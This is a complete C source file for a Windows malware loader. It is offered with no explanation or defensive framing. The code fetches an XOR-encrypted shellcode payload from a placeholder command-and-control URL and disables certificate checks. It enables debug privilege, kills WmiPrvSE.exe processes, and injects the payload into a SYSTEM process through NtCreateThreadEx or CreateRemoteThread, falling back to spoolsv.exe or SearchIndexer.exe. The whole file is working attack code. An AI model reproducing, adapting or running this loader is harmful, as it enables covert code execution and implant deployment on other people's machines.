#include <windows.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdint.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "advapi32.lib")

#define URL "https://CHANGEME_IP:443/dl/CHANGEME_TOKEN/agent_sc.enc"

typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes,
    HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter,
    ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit,
    SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer);

static void enable_debug_priv(void) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) {
        LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tp.Privileges[0].Luid);
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
        CloseHandle(hToken);
    }
}

static uint8_t* fetch(int *out_len) {
    HINTERNET hI=InternetOpenA("Mozilla/5.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    if(!hI)return NULL;
    HINTERNET hU=InternetOpenUrlA(hI,URL,NULL,0,0x84803000,0);
    {DWORD sf=0x00003380;InternetSetOptionA(hU,31,&sf,sizeof(sf));}
    if(!hU){InternetCloseHandle(hI);return NULL;}
    uint8_t *buf=(uint8_t*)VirtualAlloc(NULL,256*1024,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    if(!buf){InternetCloseHandle(hU);InternetCloseHandle(hI);return NULL;}
    DWORD total=0,br;
    while(InternetReadFile(hU,buf+total,4096,&br)&&br>0) total+=br;
    InternetCloseHandle(hU);InternetCloseHandle(hI);
    *out_len=(int)total;return buf;
}

static DWORD find_pid(const char *name) {
    DWORD pid=0;
    HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(snap==INVALID_HANDLE_VALUE)return 0;
    PROCESSENTRY32 pe={0};pe.dwSize=sizeof(pe);
    if(Process32First(snap,&pe)){do{
        if(lstrcmpiA(pe.szExeFile,name)==0){pid=pe.th32ProcessID;break;}
    }while(Process32Next(snap,&pe));}
    CloseHandle(snap);
    return pid;
}

// Kill all WmiPrvSE.exe processes, wait for fresh one to respawn
static DWORD kill_old_and_wait(void) {
    HANDLE snap;
    PROCESSENTRY32 pe={0};
    
    // Kill all existing wmiprvse
    snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(snap!=INVALID_HANDLE_VALUE) {
        pe.dwSize=sizeof(pe);
        if(Process32First(snap,&pe)){do{
            if(lstrcmpiA(pe.szExeFile,"WmiPrvSE.exe")==0) {
                HANDLE h=OpenProcess(PROCESS_TERMINATE,FALSE,pe.th32ProcessID);
                if(h){TerminateProcess(h,0);CloseHandle(h);}
            }
        }while(Process32Next(snap,&pe));}
        CloseHandle(snap);
    }
    
    // Try 10 attempts to find a fresh wmiprvse (6s between each = 60s max)
    for(int attempt=0; attempt<10; attempt++) {
        Sleep(6000);
        DWORD pid=find_pid("WmiPrvSE.exe");
        if(pid) return pid;
    }
    return 0;
}

static int inject(DWORD pid, uint8_t *sc, int len) {
    HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    if(!hProc) return 0;
    PVOID mem=VirtualAllocEx(hProc,NULL,len,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(!mem){CloseHandle(hProc);return 0;}
    WriteProcessMemory(hProc,mem,sc,len,NULL);

    // NtCreateThreadEx (works for SYSTEM processes like WmiPrvSE)
    HANDLE hThread=NULL;
    pNtCreateThreadEx NtCreateThreadEx=(pNtCreateThreadEx)
        GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtCreateThreadEx");
    if(NtCreateThreadEx) {
        NTSTATUS st=NtCreateThreadEx(&hThread,THREAD_ALL_ACCESS,NULL,hProc,
            mem,NULL,0,0,0,0,NULL);
        if(st==0&&hThread){CloseHandle(hThread);CloseHandle(hProc);return 1;}
    }

    // Fallback CreateRemoteThread
    hThread=CreateRemoteThread(hProc,NULL,0,(LPTHREAD_START_ROUTINE)mem,NULL,0,NULL);
    if(hThread){CloseHandle(hThread);CloseHandle(hProc);return 1;}

    VirtualFreeEx(hProc,mem,0,MEM_RELEASE);
    CloseHandle(hProc);
    return 0;
}

int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show) {
    volatile unsigned char key[32];
    key[0]=0xde;key[1]=0xad;key[2]=0xbe;key[3]=0xef;
    key[4]=0xca;key[5]=0xfe;key[6]=0xba;key[7]=0xbe;
    key[8]=0x13;key[9]=0x37;key[10]=0x42;key[11]=0x69;
    key[12]=0xaa;key[13]=0xbb;key[14]=0xcc;key[15]=0xdd;
    key[16]=0x11;key[17]=0x22;key[18]=0x33;key[19]=0x44;
    key[20]=0x55;key[21]=0x66;key[22]=0x77;key[23]=0x88;
    key[24]=0x99;key[25]=0x00;key[26]=0xab;key[27]=0xcd;
    key[28]=0xef;key[29]=0x12;key[30]=0x34;key[31]=0x56;

    enable_debug_priv();

    int len=0;
    uint8_t *data=fetch(&len);
    if(!data||len<100) return 1;
    for(int i=0;i<len;i++) data[i]^=key[i%32];

    // Kill old wmiprvse (removes old agent), wait for fresh one
    DWORD pid=kill_old_and_wait();

    // Fallback if wmiprvse doesn't respawn
    if(!pid) pid=find_pid("spoolsv.exe");
    if(!pid) pid=find_pid("SearchIndexer.exe");

    int ok=0;
    if(pid) ok=inject(pid,data,len);

    Sleep(5000);
    VirtualFree(data,0,MEM_RELEASE);
    return 0;
}
